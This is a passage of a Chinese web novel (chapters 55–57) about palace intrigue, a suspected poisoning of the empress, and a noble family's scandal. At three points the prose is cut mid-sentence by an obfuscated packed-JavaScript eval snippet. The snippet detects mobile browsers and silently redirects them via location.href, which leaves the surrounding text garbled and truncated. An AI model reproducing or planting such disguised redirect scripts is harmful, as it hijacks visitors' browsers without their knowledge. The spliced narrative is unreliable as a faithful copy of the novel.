宁晨铎摇头本不欲多说,但他看见了沈明枳眼中的怜惜,那股无处发泄的痛苦和迷惘顿时重占山头,摇旗呐喊着逼他将宁玉尘的旧事吐得干净:“玉尘她,与祝先生两情相悦,但是家里不允……殿下也曾听过京中的那些流言吧,就是那时,家父家母将她送回了老家,祝先生也南下回了江南,谁知道前几天传来消息,说她精神失常,边弹着琴,边纵火赴死……” “节哀。” 宁晨铎叹气:“玉尘将她最爱的那张琴存在了双塔寺,家里都不知道,不过我想,她应当想再看看这张琴的。” 沈明枳沉默地看向两人的来路,藤蔓下垂、叶叶相衔,远处依然是尘世里充满诱惑的热闹,天上孤独地飞着归鸟,宁晨铎身上极淡的熏香流过鼻尖,她蓦然看见了“树毁人亡”这四个字,被人世痴情血淋淋地写满了虚空。 宁晨铎看着有些出神的沈明枳,将堵在心口的话咽了下去。 其实本来,父亲母亲在玉尘的倔强面前已经服软,但他们要顾及宁氏全族的荣耀,故而打算将玉尘送回鲁中老家,任由她和朱遗温做一对不见天日的比翼鸳鸯。 可她的梦碎了,朱遗温自认“配不上宁小姐高致”,更怕“毁了宁小姐前程”,于是一声不吭回了苏州。于玉尘看来,她的爱人就此人间蒸发。 “琴逢知己方才有音,现在祝先生不在,臣能否耽搁殿下片刻,用玉尘的琴弹最后一首曲,便算是诀别。” 凤兮凤兮归故乡,遨游四海求其凰。 时未遇兮无所将,何悟今兮升斯堂! 有艳淑女在闺房,室迩人遐毒我肠。 何缘交颈为鸳鸯,胡颉颃兮共翱翔! 凰兮凰兮从我栖,得托孳尾永为妃。 交情通意心和谐,中夜相从知者谁? 双翼俱起翻高飞,无感我思使余悲。 宁晨铎在寮房内弹着遗思公子自谱的《凤求凰》,沈明枳站在廊下看着墙头天上云卷云舒。 这本是求爱的心志剖白,宁晨铎的琴音却如泣如诉,沈明枳的脑海里本该是绢帛千万写遍赞叹,可她两眼惘然,只在弦起的第一个音流入心中时,一贯以典范自戒自许的她,霍然起来一个粗鲁的念头,想要大骂这份催人心肝的“深情”。 座上琴心,机中锦字,最萦怀抱。 可她不明白,怎么也想不明白,纵然是伯牙断弦、知音难觅,宁玉尘为了一番苦恋居然能走到死生纠缠的地步!她不明白这份“深情”,说出来不过寥寥数语、投诸爱欲又不过春宵一夜,是写不尽的纸短情长,是西窗烛、巴山雨,是山上雪、云中月。就算这些身外之事统统求不得、也不去求,她还有琴,还有琴意,这些她爱了一辈子的东西,怎也都成了身外之物! 身外之物,不足以萦怀抱。 大姐姐对齐珏的深情断送在西北长关,而宁玉尘的这番深情断送在鲁中江南,寇妃的深情更断送了后宫中数不尽的人命生灵。沈明枳倒吸一口凉气,这便知道了遁入空门必绝情根,从来不是神佛的苛责。 最后一个音落在了变徵,如同玉瓶倾倒、铜镜迸裂,墙头的一对白羽鹁鸽骤然惊起,扑棱棱飞入密丛。树冠惊摇不已,在“咕咕”几声鸽鸣里缓缓恢复平静。瞬息,飒飒的风粒如雨点子般打了上去,一撒就是一片萧萧树啼。 郇寰偏头,抬手遮去携沙奔袭而来的穿石风,在风声渐熄时朝寇一爵道喜:“要恭喜寇郎中了,圣上登基后发了不少丹书铁券,但只封了两家爵位,一个宣平侯罗家,一个就是永定侯滕家,罗家是早就跟定魏王的,寇郎中能拿下永定侯世子滕文彪的亲姐姐,这可为王府立下了大功。” 寇一爵皮笑肉不笑:“这点功劳和郇侯尚主相比,便不值一提了吧?” 郇寰倒不否认。看来没娶到沈明枳在他心里造成的打击,不亚于处处相亲而次次铩羽,毕竟天下的贵女千千万,公主也有不少,但像沈明枳这样受宠的是独一个难寻得。不过,就算是宁晨铎尚主乃至于那个楼复得意,寇一爵都未必会这样在意,但谁让最后又压他一头的人是他郇寰。 撂下这些杂念,郇寰严肃道:“御史的奏疏一入宫,圣上强迫郑藩虢告老的旨意就下来了,虽然没有追究‘以狄养兵’,摆明了是在平息事态,但郑藩虢下台,但荥阳郑氏居然还能闷声不吭,像是认栽了,这让人很不放心,也不知道他们背地里在谋划什么。你那里有什么消息吗?” 寇一爵也收起戏谑心思,“他们自然不会甘心,这几天都不见动作确实很不寻常,但我早派人盯着了,郑藩虢就一直呆在老宅里闭门不出,除了卸职那天苏德惜的岳父云宝良特意去看过他,其他人都拒不相见。而云宝良他们一家都是千年王八,当乌龟当习惯了的,这种抄家灭门的买卖他们是绝对不会掺和的,至于他干嘛去慰问郑藩虢,大概是同病相怜吧。当年云家也势大,圣上好歹给了他一个兵马司指挥使的位子荣养,郑藩虢却是一撸到底彻底成了白身,他得同情曾经的同袍,也未尝不在沾沾自喜。” 听见苏悯的名字,郇寰心里又打起鼓,但就如寇一爵所说,他们或有贼心但没贼胆,抑或是连贼心也不敢有,他不需过于担心。但一个苏悯从来都不是让他担心的全部,郇寰寻思道:“你有无听说过,义律王和郑氏有其他的来往?” 寇一爵警惕:“你听见什么风声了?” 郇寰摇头:“白纸黑字、铁证如山,可圣上为何不追究‘以狄养兵’的重罪?现在人情物议沸沸扬扬,虽然是责令,但面子上郑藩虢这叫‘引咎辞职’,圣上还下了诏书做了个挽留模样,根本就没把荥阳郑氏当成罪臣。” 寇一爵立即明白了郇寰的意思:“你问的是郑藩虢亲自栽培的接班人郑弛孺吧?他的确和呼延炳十分热络,呼延炳在京时不少日子就是跟他混的。也是,他此次担任校尉随陆微护送和亲公主出关,然后就戍守边关等着三年轮换,虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050087|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是个校尉,郑藩虢多年前就被调去了东北,可郑家在当地埋下的人脉十分深厚,俗话说强龙难压地头蛇,他如果要对朝廷不利,也并非不可。” 他们两个的脸色都凝重起来。 “不过我听说,圣上早派了锦麟卫随使臣一同北上,想来心中早有谋算,我们两个书生要指点江山,真是为难。”寇一爵一哂,忽记起一事,“对了,齐侯他们惯例会在落水山庄给方台使节接风,上回你正好南下没赶上,这次你来不来?或许能从他们口中挖出一点西北的时局。” 郇寰拧眉,压低嗓音:“私下给外藩使节接风?魏王才吃了郑家这个大亏,正愁着没地方挑事,齐侯这么做岂不会落人口舌?” 寇一爵耸肩:“这我们就管不着了,他们也知道此事不光彩,自然千百个小心,我们便不必替他们操什劳子的心了。这么听来,你不去了?” 郇寰不语。 “也是,我们去了能干嘛,看着他们粗人把酒言欢说战场上的交情?还是陪他们寻欢作乐谈皮肉上的感悟?有辱斯文。” “寇郎中消息灵通,对郑弛孺了解多少?” 寇一爵笑:“郇尚书不妨先说说你的了解?” 郇寰略一回忆,“听说他好色。” 寇一爵扬眉大笑:“食色,性也!何况他们从军的,这方面再风流些也稀松平常,若是他在边关几年不进私窑还‘守身如玉’的,我倒要怀疑他身有隐疾了。” 郇寰蹙眉:“照你这么说,外头的流言都是污蔑了。” “倒也不是。”寇一爵抬手搭在鼻唇之间,佯装咳嗽,低声笑道:“建安三曹家风特别,尤好人妻,这郑家的门风也是奇葩,尤爱姐妹。” 郇寰挑眉。 一见郇寰这幅反应,寇一爵就知道他会错意了,环顾四周见人来人往,清了清嗓子,便只能无声唇语:“乱//伦。” 郇寰一惊,一种几乎是本能的恶心泛了上来。 等来往过路的人都走出三尺远,他们已经到了竹林深处,寇一爵这才又道:“跟他‘兄妹媾和’的还不是一般的堂姐堂妹,是和他同母所生的亲妹妹,还是韦不决的大姨姐!不然郑藩虢会因为他‘好色’而动家法?发这么大的火?闹得人尽皆知他这个继承人是个见了女人就走不动道的?他只能用这个法子将事情压下去,不然郑氏就要沦为门阀的笑柄、郑弛孺的官位保不住、和韦家的联姻也要泡汤!” 听了一会儿,郇寰找回自己的声音淡淡道:“那他的胆子可——真大。” “可不是?幸亏西北用兵,圣上不得不捧着郑家,又幸亏他家里姐姐妹妹的一箩筐,郑家来得及换新娘,韦家也同意,毕竟又不是非谁不可,一桩婚不过两家结盟的纽带,谁会在乎这个?” “韦不决。” 寇一爵一愣,摩挲起下巴,“这倒是。韦家不在乎,可娶妻的是他韦不决,郑弛孺此举无疑是羞辱了他……”分析着,寇一爵回过味来了,“有道理,这就是一颗果子烂一筐的道理!公然拿他夫人的名节说事不仅不能离间他,还会惹恼他,但以此收拾郑弛孺便容易简单得多。妙啊!圣上在西北的隐忧,居然就这么解了。” 郇寰不再说话,听着寇一爵的这些喃喃自语,隔着稀疏的几株翠竹,看着不远处热火朝天的玩闹。这是化隆城里公子哥们最爱举办的“雅集”,说是雅集,却无有一处不俗不可耐,能吟诗作对说上几句的已经难得,多见的就是而今这副场面,斗鸡走狗、赌博打球,甚至于带了几个风尘女子,躲在一旁临时搭起的竹蓬下亲热。 不过今天的雅集没有这样光天化日的伤风败俗,中间几个少年郎正围在一起赌钱,闹哄哄的,就如那夜滕文彪做生辰时一样,直要翻上天去。 寇一爵眼尖,一眼就看见了坐在箭靶子边上喝酒的楼复,“哟,楼二公子居然也愿意出席这样鄙陋的雅集,活久见了。” 55. 第五十五章 剜脓疮 滕文彪正擦着弓,有一搭没一搭地和楼复聊天,一眼就看见了渐渐走近的寇一爵和郇寰,弹簧似地一蹦三尺高,他用手肘没捅到人,一扭头见楼复仍然坐在石凳上,低着头一幅漫不经心的样子,便用脚踢了他一下。 楼复面色不善地抬头回瞪。 “你瞪我作甚?”滕文彪把弓箭往背上一背,“我知道你和襄阳侯有些过节,但寇一爵马上就是我姐夫了,你楼二面子天大,但好歹给我个面子吧?” 见寇一爵和郇寰径直走了过来,楼复这才慢吞吞站了起来,随着滕文彪给来人见了个简单的礼。 “寇先生和郇侯怎么也逛到我们这里了?”滕文彪瞟着聚众赌博的那群同辈,有些不好意思地挠了挠头。 “年轻人当真朝气蓬勃……”寇一爵半句话还未说完,那边刚输了钱围在赌桌前闷闷不乐的罗子珪找到了乐子,踢踢踏踏地走了过来,笑得很痞气:“嚯,这不是咱们滕世子的准姐夫么?郇侯也来了?滕文彪,你怎么没和我们说这二位‘真神’要来?你若早说,咱楼二爷的脸色也不会这么难看了是吧。” 碍于寇一爵和郇寰在场,滕文彪不好一巴掌糊上去把嘴贱找死的罗子珪按到泥地里,只能狠狠瞪他:“罗子珪,别来丢人!” 罗子珪哈哈笑了,又踢踢踏踏地背手走了回去,话却灌了每个人一耳朵:“哎呦,真不知道是谁在丢人呢,我说怎么转性了,以前三请四请请不动,现在滕文彪一勾手巴巴凑上来,原来是知道有贵客要来,男儿血性,原来是要巅峰对决!” 被公然叫骂的楼复捏了拳头,滕文彪心惊肉跳地看看郇寰,又看看罗子珪,再求助似地望向了寇一爵,忽然他想到,他这位准姐夫当年也是兖国公主的追求者之一,顿时如芒在背,一时间找不到东南西北,只能心里不停骂娘。 被罗子珪一引,不少好事者也从赌桌上纷纷抬头,但他们看见了郇寰,一想到风言风语里少年郇二郎的风光往事,一见郇寰现在身上不怒自威的公卿气焰,挑事拱火的心思顿时灭了。 不过华屹是个例外,得了他狐朋狗友罗子珪的招呼,大剌剌地也爆笑起来:“楼二爷,我记得上回是在马球场吧,你们两位纨绔头头还没对决吧?今儿是赶巧了,箭靶子有弓箭也有,不如就比上一场让我们也开开眼?” 滕文彪看看郇寰,再看看已经黑脸的楼复,差点抓起自己臂弯上的金弓朝华屹砸去,刚抓心挠肝地想着怎么收场,就听寇一爵皱眉对郇寰低声道:“这些小崽子是玩疯了,不要和他们计较了——” “我本也没想和他们计较。”郇寰温和了脸色,心里想着楼复这化隆城头一号纨绔的名头也太水了,随便谁都能和他叫板,他一边唏嘘着,一边朝楼复和滕文彪坦白道:“照理说,像他们这样不服气的刺头,打服气了就行,不过郇某‘上了年纪’,这弓是拉不动的、准头自然也比不过你们年轻人,没本事在游乐场上让他们服气,如何整顿风气,全赖滕世子与楼二公子了。” 突然得了郇寰的“倚重青眼”,滕文彪连手脚都不知如何安放,又下意识地用手肘捅了楼复一下,希求家世显赫而见多识广的楼二代他说几句不卑不亢的场面话,结果楼复只是淡淡地看了郇寰几息,拱手抱了一拳,随即把嘴巴闭成了河蚌。 寇一爵干笑两声,给他未来的小舅子打圆场,那边的华屹和罗子珪讨了没趣,便也不再纠缠,继续在赌桌上驰骋。寇一爵与滕文彪又简单说了两句,便和郇寰一起告辞,没走出几步,就听身后猛然炸开一声纨绔的喧哗,随即是各种叫狠与劝架,引得寇一爵伸长脖子张目结舌。 “这……这就打起来了?” 郇寰微一偏头,就见一身牡丹红的楼复似是压着华屹和罗子珪,一手打一个,两个在秦楼楚馆被掏空了身子的草包被他揍得痛叫连连。郇寰轻笑,刚要开口撒盐说“去报官”,又想起身边和自己一起看热闹的不是申不极,自己这么明目张胆地落井下石难保不会被寇一爵日后利用,而申不极和他“臭味相投”,便是他不说,申不极也不会忘了再阴楼复一把。 毕竟那年马球会后,就有传言说,那个做纨绔做得标新立异、傲气傲到了骨子里的楼二爷开窍了,回家找了一直担心他不近女色是因身有妨碍的爹娘,说要尚主,这把楼家夫妇高兴坏了,楼夫人第二天就递帖子入宫面见皇后探口风。 这可把郇寰气坏了。 楼复的家世一搬出来,就算是他就算袭了爵、有进士出身、上头有当尚书的外祖照应,那也是拍马难及。无奈之下,他只能另辟蹊径从沈明枳那里入手,故而找上情场老手申不极替自己出谋划策,结果得了一堆馊主意不说还被嘲笑一顿。 于是,他“揍”了申不极一顿,申不极也恼火,但碍于年纪“大”了不好意思亲自下场,就鼓动那些与楼复恶交的纨绔们前去复仇。结果就是,一边在申二夫人辛莘的生辰宴上,他提前和沈明枳“相谈甚欢”;而另一边,楼复又因聚众斗殴被京兆尹请到衙下骂了半天的人。 寇一爵从小到大就是家里最懂规矩的孩子,听过不少郇寰年少时的事迹,但亲眼目睹这样的“血腥”还是头一次,他抽了抽嘴角,背过身随不动如山的郇寰慢悠悠地走着,他笑着甩甩头:“我倒见识了,他们老子见了你都不敢这么说话。” 郇寰一掀唇:“是,因为他们是小子,不过不是初生牛犊不怕虎,他们心里的算计多着呢,是吃准了我不会和他们较真。” 寇一爵“呵呵”两声,不予置评。 快走到竹林入口,寇一爵赶在郇寰告辞前装作无意地问道:“对了,姑母听说那位肖娘子现在已经不在公主府了?” 郇寰目光如电:“寇妃娘娘深居后宫,她是怎么知道的?” 寇一爵警惕:“这我就不知道了,但我瞧着姑母对她着实上心,如果兖国公主不要她了,姑母还想把她召回去跟前侍奉。” 权衡片刻,郇寰不打算撕破脸,只冷淡回复:“劳寇郎中转告寇妃娘娘,这个肖医婆心术不正,是被郇某赶出的公主府,现在庄子上反思。宫中医婆多,寇妃娘娘总能再找到一个合心意的,寇郎中还是多劝劝娘娘吧。” 寇一爵挑眉,试探着问:“出什么事了?” 郇寰斜睨他一眼,“总归不是寇郎中能够听的私事。” 寇一爵笑道:“若是这样,于姑母来说也不是什么不可容忍的罪孽,把她打发到城外庄子占地方,我说,你倒不如把她送给姑母做个人情。” 郇寰的心一沉,面上仍不显露,“寇妃娘娘居然这么赏识她?郇某倒看不出她有哪里能得寇妃娘娘赏识的。现在中宫空悬,王妃又把长英公主送回了宫,娘娘不仅要协理后宫、还要教养公主,正忙得抽不开身,如若这时身边添上了几个居心叵测之人,岂不要坏了王爷的千秋大事?” “一介女流,能翻出什么花样?就算她有心要爬龙床,对王爷和娘娘来说,这也未必是件坏事。海山,你这么推拒,是因为兖国公主那里不好交代吗?” 从“郇侯”到“你”再到“海山”,光凭这称呼变化,郇寰就摸到了阴谋的尾巴。 寇一爵依然劝道:“你们虽说是君臣,但更是夫妻,只消让她知道你这个驸马永远都忠贞不二,多哄一哄,她一个沉溺爱情的女人哪还有心思管旁的妖精?” 郇寰面色一凛,“寇一爵,寇妃娘娘是给你下了死命令,让你一定要把人带走吗?” “这话是什么意思?”寇一爵也觉出不对了,“不过是一个女人而已,你一会儿不要又一会儿抓得牢,别是你对她格外上心、打算金屋藏娇、掩人耳目吧?” 郇寰冷笑:“是,不过是个女人,费得着寇妃娘娘指点你一个外臣三番五次地来要?” 寇一爵的脸色有些难看,“郇侯,你究竟是什么意思?” 目光直逼,郇寰一字一句问:“皇后之死,是不是寇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“非皇后子不为储、非储不为新帝,这是圣上亲口说的,天下人都能作证。太子早死了好几年,可圣上迟迟不立储,就看着王爷和魏王斗,我们斗了这些年,除了损兵折将还得了什么?再这么斗来斗去就让别人渔翁得利!华妃反正是不中用的,后宫里有谁能和娘娘争?这皇后不死,王爷就永远也成不了太子!” “皇后死了寇妃就能当上皇后?”郇寰被气得七窍生烟,指着寇一爵愣是连一句破口大骂的话也说不出,缓了片刻,他才阴鸷地问:“如若不成呢?如若败露了呢?” “那就徐徐图之。” “为了这做梦一样的指望,你们就能平白害了一条人命、送了这么多把柄!白刃杀人从来都是最次的法子,分明有那么多办法,可你们偏偏选了最烂的一条!寇妃糊涂,你也跟着她糊涂?她做事向来不着边际,从来不考虑结果,你也跟着她胡作非为?如果出了变故……” 寇一爵目眦欲裂,“变故?兖国公主就是最大的变故!糊涂?最糊涂的岂不是你!一日夫妻百日恩,几百日的耳鬓厮磨,你们这恩情深厚,快高过赵王府的门槛了吧!” “寇一爵,你能不能好好说话?看来没能尚主是你最大的心病!我就不明白了,你在乎的不就是个驸马名分吗?你介怀的不就是又被我压了一头吗?现在看见我的日子过得一塌糊涂,你岂不是该高兴疯了?” “郇寰你住口!你别来蒙我给她开脱!你觉得我是嫉妒你?我是瞧不起你!一个女人,纵然是公主,可你居然让她骑到你的脖子上去!南巡!和亲!你看看她干的这些事!你若好好管束她,怎么会有这么多风波?你若真的为她好,就该好好管教,让她不要做各种瓜田李下之事!好在亡羊补牢为时不晚,她若不叛,不论有没有怀疑、有没有证据,她自然一个字也不会多说,事情就到此为止,你们自然还能当一对交颈鸳鸯恩爱情长!若她真有异心,发现得也算早,早病早医,剜去了脓疮照样能够长好!” 56. 第五十六章 荡秋千 气到极点,郇寰反倒开始冷静,“疑心生暗鬼,本来家和万事兴,偏有小鬼兴风浪。” 寇一爵嗤笑:“还在替她说话呢?娶她本就是权宜之计,郇寰,你不会真的陷进去了吧?你早该警醒的,就算同住一个屋檐、睡在一张床上、你们也不是一路人!什么疑心?什么暗鬼?你本就该防备的!是你被柔情蜜意消磨去了斗志,居然放下了戒心!凡事论迹不论心,你这个驸马都尉干得够好了,怎么还想更好,想心也交了出去以显赤忱?别天真了,大家不过是貌合神离互相利用,你若真有点男女感情想要寄托,天下女人千千万,要什么样的没有?且你缺吗?犯得找和一匹豺狼说真心?” 郇寰只是冷笑一声,便不再说话。 虽然都站赵王,但他们不是一路的人。 见郇寰要走,寇一爵最后问:“所以,这女人你是给还是不给。” 郇寰的脚步一顿,沉默地立了几瞬,随即又一言不发地迈开步子。 循着空中弥漫的琴音,郇寰不辨南北地走了一阵,最终在一堵叠瓦墙前停下。他有些出神,墙头垂藤蔓,墙下生青苔,墙前立孤人,等墙内一曲终末,他如梦方醒,尘世的一切纷繁杂乱重又闭塞耳目,一下子如潮水般涌进,冲得他呼吸暂阻、头晕耳鸣。 分明只是一刹那的错觉,郇寰却觉得,他花了二十几年来适应。 他从来都是“适应”的爱徒。 可现在看来他的杰作,亦不过信笔涂鸦,低劣得可笑。 “啊,那不是郇侯吗?” 等身后步履嬉笑声逼近,郇寰这才甩甩头,将这些胡思乱想尽数抛却,整理好仪容转过了身,就见长英公主牵着一个陌生的姑娘蹦蹦跳跳跑近,郇寰连忙行礼:“参见长英公主。” “免礼免礼。”长英拉过这个姑娘介绍:“这是滕娘子。咦,我怎么没看见寇表兄?你们没在一起吗?” 听见寇一爵,滕文慧显出一丝羞赧的不自然,她不敢直视郇寰,垂眸敛眉,一派绝然不同于滕文彪的恭敬和温婉,但她听得极其用心。 郇寰道:“我们聊了几句就各自走了,或许他往寮房那里去了也未可知。” 长英“哦”了一声,翘首对滕文慧建议:“不如我们就去寮房那里找他们吧?” “他们?”滕文慧疑惑。 长英这才想起来和郇寰说:“啊,我都忘了,十姐姐也往寮房那儿去了。” 郇寰随长英他们走了起来,“齐世子和我家三娘呢?” “应该各自去休息了吧——文慧姐姐,你刚刚说西域有种秋千叫什么沙地?” 滕文慧笑道:“叫‘沙哈尔地’,是‘空中转轮’的意思,每逢春时秋节、抑或是举行婚仪时才玩。” 长英抱着她的手臂撒娇:“哇,文慧姐姐的知识真渊博,姐姐是会读一些西域志记吗?我十姐姐也爱读。” 郇寰看了过去,就见滕文慧难掩眼中的神往与自豪:“不是,我是亲眼见过。” “见过!” “是啊,我小的时候爹爹就带我去过云仑,刚好遇见有回人成亲,就看见了,他们在场地上竖起一根很高的圆木作轴,再在顶端装上一只木轮,轮子上再装上两根横木,各自拴好绳索,木轴底部也要装一根横木,用绳子和顶部的木轮相互连接——” 滕文慧一边比划着,一边被长英挽着往前走,“然后就能玩了,在绳索秋千上各站一人,再有多个人一起匀速推动底部的横木,这样顶部的木轮就能被带动旋转,站在绳索上的人就会随着升上高空,转得越快,他们飞得越高。” 长英的一双水晶眼里迸射崇拜的金光,“这么神奇!” 滕文慧语中的骄傲意更加浓郁:“还有更神奇的呢。听我堂叔说,西南还有转转秋,又叫纺车秋,就是长得像纺车,听说是四个人一起玩,转起来就像飞着的风车;还有另一种叫‘八人秋’的秋千,玩起来像一个彩球,特别好看!只可惜,堂叔说要带我去南边转一转,最近这些年是没机会了。” “文慧姐姐想去,我也想去,等以后有空了,我们表姑嫂一起去!” 滕文慧不禁红了脸颊。 郇寰却心中可惜。嫁了寇一爵,她大概这辈子也出不了化隆城。他不禁又有些疑心。永定侯一家子和睦又是一家子人精,又这么疼这个女儿,怎么会舍得把掌上明珠送入虎穴龙潭、见死不顾? 他看见院墙上趴着的一大束将开半醉的凌霄花,蓦然想起了某一年,他的母亲带着他去兴化坊的慈悲寺烧香,后院不知哪处的影壁上就被这样的花藤覆盖,而红花绿叶中,霍然吊死了一个装束妥帖的女人。那时候圣上才刚登基,他还被母亲牵在手中,周围人见了死人都惊恐大叫,唯独他望着这女人云鬓花颜金步摇有些奇怪。 她有一大帮仆从前呼后拥,又有妯娌亲戚嘘寒问暖,还有钱,有荣华富贵,还有这样的尊贵权势,她做什么想不开要自寻短见? 等后来他入了刑部,特意翻出了陈年卷宗找到了这桩案子,确认了是自杀无误,这才解开了萦绕心头这么多年的一个疑惑。 她是天元末年当朝首辅吕颦调的女儿,也就是鲁国长公主的继女,嫁给了当年兖王身边的头一号心腹郭明修为妻。升平元年,南海道争端再起,圣上与锦麟卫指挥使郭明修等南下肃清倭乱、燮理内政,任命心腹爱将王叔远为南海道布政使总领地方,然后甫一返京,圣上就卸磨杀驴,以谋反之罪将监国首辅吕颦调的全家捉拿入狱,而得了圣旨将吕氏抄家灭门的人,正是锦麟卫指挥使郭明修。 郇寰还记得,那时他挤在架阁库里,在腐烂的辛酸味里,在凛冽的冷风里,看见经年泛黄的验尸格目上赫然写着吕娘子怀有身孕,整个人都懵住了。 他的视线重又落在了眼前与长英说着天地、激动得无以复加的滕文慧身上。 他的母亲也曾与闺中密友兴奋地说起过高墙之外的天地吗? 郇寰放远了视线,远到连他自己也不清楚自己在看些什么。 然后他看见了宁晨铎,抱着一把琴从廊下走出,而站在廊下与之谈笑的正是沈明枳。 对面的两人也看了过来,郇寰挪开目光,在长英笑着要拉滕文慧跑过去时道:“容臣与滕娘子多说一句话。” 滕文慧诧异,长英扫了他们一眼,便点点头朝沈明枳跑了过去。 郇寰拱手一礼,滕文慧被这番大礼吓了一跳,后退一步,连忙也要推手还上一个更盛大的礼,就听郇寰抬头刹那说道:“容郇某多嘴提个醒,化隆城内没有好人,寇家也不例外。” ** 夏半年外皇城不落钥,冬至提着一篮子晚膳走进值房时,便带来了皇城外的消息,“主子,寇郎中那里接了人,但却没有把人送入宫……” 郇寰饿得厉害,抛了笔,便从书案前坐起,“这些事我们不必管了。” 见冬至一边给他布菜,一边欲言又止,似有难言之隐,郇寰拾起筷子便道:“寇一爵把人送到了哪里?” “他自己在启复门外的私宅平川庄。” 郇寰不再说话,只风卷残云地吃完了饭菜。 这时冬至才敢再问:“主子,那芳林门那儿的宅子怎么办?” 郇寰冷冷看他一眼,“这些事你还用来请示我?算了——”郇寰摇摇头,温和下语气随便道:“处置了吧,别让有心人抓到把柄就好,分寸你把握。” 冬至应下,收拾了碗筷退了出去。不过一炷香的功夫,郇寰还没看几个字,冬至又冲了进来,满脸是汗,“主子,家里出事了。”他连忙把侯府简信递给了郇寰,一眼扫过,郇寰的脸色难看得可怕。 启明门外灯火连天,郇寰彪马奔上务本门大街时,就见两侧曲折逶迤着一串天河似的灯楼,到处都是数不清的花鸟灯、虫兽灯、走马游鱼灯,八仙过海、九龙戏珠、十二番花信次第盛开。他恍惚自己身在开春的上元灯节,可直眺务本十字场上绝无半点鳌山灯的影子,两侧灯楼下还有不少叫卖巧果、七巧针、蜡烛胭脂等的商贩,往来游览的年轻男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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郇三娘的眼泪劈里啪啦打了下来,她摇摇头,又拼命地点头,头上那支朴素的缠枝花簪都“叮铃”一声坠落地板,她仍然惶恐地抖着嗓音说不出一个完整的音节。 沈明枳一开目光,“那我就当还在。” 郇三娘咬破了嘴唇,呜咽出声。 “太夫人卧病,你身边也没有人前后监视,但她却准许你一人出府游玩,你可知为何?” 郇三娘抽泣。 沈明枳自问自答:“因为今夜,与你已有婚约的俞公子也在,太夫人想让你们相处,这件事你哥哥也知道,他也允了。可你甩开了他,跑去和楼复私会,还被人撞见了。三娘,你不喜欢他吗?” 郇三娘的眼泪洇湿了衣袖。 沈明枳不看她,轻声问她:“他长得不够俊俏?他没本事?他阴晴不定?他的家世的确一般,普通清流,没有大富大贵也不是权势滔天。可除去这个,将他放在全化隆的年轻后生里,他都是极其出挑的那几个。你哥哥很看重他,可你看不中。” 郇三娘仍在抽噎。 沈明枳望着后窗外凝固着的树影,一阵风吹过,那千钧重压般的影子飒然飘散,零落成了寥寥几道画上枯笔。她不由得叹息:“三娘,这世间最不值得耽恋的就是情爱。” 郇三娘的眼泪更多了。 “其实女儿家的名节什么也不是,但所有人都在乎它。逾越礼制的一番苦恋,于男子来说不过一段风流逸事,可满城风雨,随便谁的一口唾沫都能要你的命。如果事情闹大无法收场,你坏了名声、坏了你哥哥的打算、坏了整座侯府里未婚女孩的将来,他们便会打死你以正门风。如果你嫁了过去,俞家介怀此事,明面上让你风光无限、背地里让你痛不欲生的方法千万,你没有好日子可过。” 沈明枳无奈:“这些你都知道对吧?可你还是要飞蛾扑火。你知道楼复以前的事情,就算没有这件事,楼家也不敢要你。你们不是一日两日,你或许糊涂,非要执着这一番没有将来、不见天日的爱恋,自寻死路,可楼复比你年长,见的事情比你多,他绝不会这么糊涂。” “别说了……求求你别说了。” “好。”沈明枳垂下眼帘,扶着桌沿起身,“悬崖勒马,往事不提,你好好休息。” “公主!” 脚步一顿,沈明枳背对着郇三娘,听她颤声道:“谢谢你。” 沈明枳心一痛。 57. 第五十七章 恩淡薄 一出门,沈明枳就见一身官袍依然整齐的郇寰踩着月光火色急步而来。 “你不是值夜,怎么回来了?” 郇寰踏上台阶,站在沈明枳身边,一瞥刚刚阖上的房门,“陶郎中在,我就临时与他换了班——她怎么样?” “万幸。” 郇寰冷冷道:“万幸她不必死了。” 沈明枳拂袖走下台阶,“让她好好休息吧。” 郇寰再看了房门一眼,也追了下来,“那畜生人呢?” “楼家接走了。” 郇寰思忖片刻,“既然事情没有宣扬出来,楼复是楼宥维的孙子,菁明书院去不得,楼家门也登不得,不过我明日可以找楼宥谦,他们得罪了魏王,想来也不愿再在这个时候开罪于我。” “与楼家也没什么好说的,不过是一杖变成十杖,家规再森严,他们也不会打死楼复。” 郇寰定定看沈明枳一眼,本想说“我不会打死郇毓”,但话到嘴边就变了:“但他们会把楼复关得更久些。” “关到九月以后婚礼结束?” “你想说‘治标不治本’?确实,只要心思不死,就算是使君有妇、罗敷有夫,依然会有伤风败俗之事。” 沈明枳抬头迎上他的视线,声音森冷:“所以,还不如打死楼复。” 一息。 两息。 三息。 郇寰错开视线,“我找个时候亲自与他谈谈吧。” 沈明枳垂眸,不多言语,和郇寰并肩走出了郇三娘的小院,快到侯府旧书房时,沈明枳开口:“我听说长宁很早怀了身孕,但一直藏着,没有告诉朝廷。” “从哪儿听说的?我并不知此事。” 沈明枳在书房台阶前止步,嗓音无波无澜:“坊间传的,不过七、八个月,肚子却像已经要有九、十个月,人说,也许是双生。” 郇寰一凛,平复下心里的惊涛骇浪,淡定道:“或许吧,我明日去王府问问。” 沈明枳不辨喜怒地轻笑一声,转身就走。 ** “总宪赏脸,梅心我荣幸至极。”梅如故一身月白色长袍,抱臂从阁楼上踱下来,笑时尽是长安风流。可他总归上了年纪,又接连遭了几番大病,露天的风卷进来,直如要将他随着这道皎月一同收回天际。 管家朝梅如故告礼,提起临窗小几上早已温好的清茶给柳曦既倒上一碗,这才躬身退下带上房门。 “坐?” 